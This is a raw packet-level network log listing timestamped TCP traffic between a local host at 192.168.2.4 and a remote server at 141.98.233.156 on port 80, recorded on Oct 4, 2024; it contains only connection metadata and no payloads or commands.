Oct 4, 2024 09:52:32.278212070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278223038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278254032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278268099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278289080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278290033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278330088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278398037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278425932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278440952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278458118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278460979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278490067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278493881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278533936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278537989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278569937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278579950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278599977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278608084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278633118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278639078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278666973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278676033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278708935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278882980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278913021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278939962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278944969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278959036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278976917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278987885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279009104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279020071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279041052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279047012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279073000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279078960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279103994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279113054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279134989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279141903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279167891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279175997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279207945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279349089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279380083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279391050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279417992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279427052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279459000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279464006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279498100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279503107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279534101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279537916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279567003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279571056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279597044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279601097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279628992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279630899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279660940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279663086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279695034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279695034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279726028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279727936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279757977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279759884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279788971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279791117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279820919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.279824018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.279985905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.318785906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.319086075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367260933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367353916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367434025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367458105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367469072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367501020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367527962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367527962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367528915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367533922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367562056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367563963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367578983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367614031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367615938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367649078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367669106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367691040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367697954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367732048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367748976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367760897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367785931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367793083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367803097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367825985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367845058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367856979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367861032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367888927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367897987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367921114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.367935896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367958069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.367969036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368000984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368010044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368032932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368043900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368063927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368072987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368108034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368120909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368153095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368164062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368184090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368215084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368215084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368236065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368244886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368256092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368283033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368293047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368331909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368340015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368371964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368382931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368402958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368411064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368434906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368443012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368465900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368475914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368508101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368515015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368546009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368556023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368580103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368586063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368609905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368619919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368642092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368648052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368683100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368690014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368726969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368732929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368757010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368768930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368791103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368796110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368822098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368829012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368855953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.368864059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.368900061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369076014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369090080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369103909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369117975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369122028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369122028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369133949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369142056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369148016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369158030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369163036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369177103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369179964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369190931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369196892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369225979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369226933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369308949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369322062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369354010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369354010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369479895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369493008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369507074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369520903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369525909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369525909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369534969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369549990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369551897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369551897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369564056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369570017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369579077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369594097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369594097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369594097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369611979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369616985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369630098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369632006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369646072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369649887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369666100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369683981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369885921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369900942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.369932890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.369932890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370053053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370069027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370083094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370096922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370100021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370100021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370110989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370127916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370130062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370130062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370141983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370147943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370157957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370171070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370171070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370172024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370187998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370189905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370203018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370208979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370233059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370233059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370796919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370810032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370822906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370837927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370851994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370857000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370857000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370866060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370877981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370881081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370881081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370893002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370898962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370908022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370918989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370918989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370922089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370937109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370949030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370949030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370949984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370965958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370966911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.370978117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.370986938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371006012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371006012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371406078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371418953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371433020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371454000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371459007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371459007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371476889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371483088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371483088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371490955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371505976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371510983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371520042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371535063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371535063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371535063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371550083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371552944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371562958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371576071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371577024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371577024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371592045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.371596098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371613026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.371630907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.372066021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.372081041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.372095108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.372118950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.372118950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.372148991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.455955982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456027031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456038952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456063032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456094980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456109047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456113100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456130028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456161976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456193924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456193924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456221104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456228018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456242085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456260920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456269026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456293106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456295967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456325054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456342936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456357956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456370115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456387997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456403017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456419945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456424952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456465006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456468105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456500053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456511974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456533909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456542015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456566095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456577063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456598043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456610918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456629992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456640005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456661940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456676960 CEST	49745	80	192.168.2.4	141.98.233.156
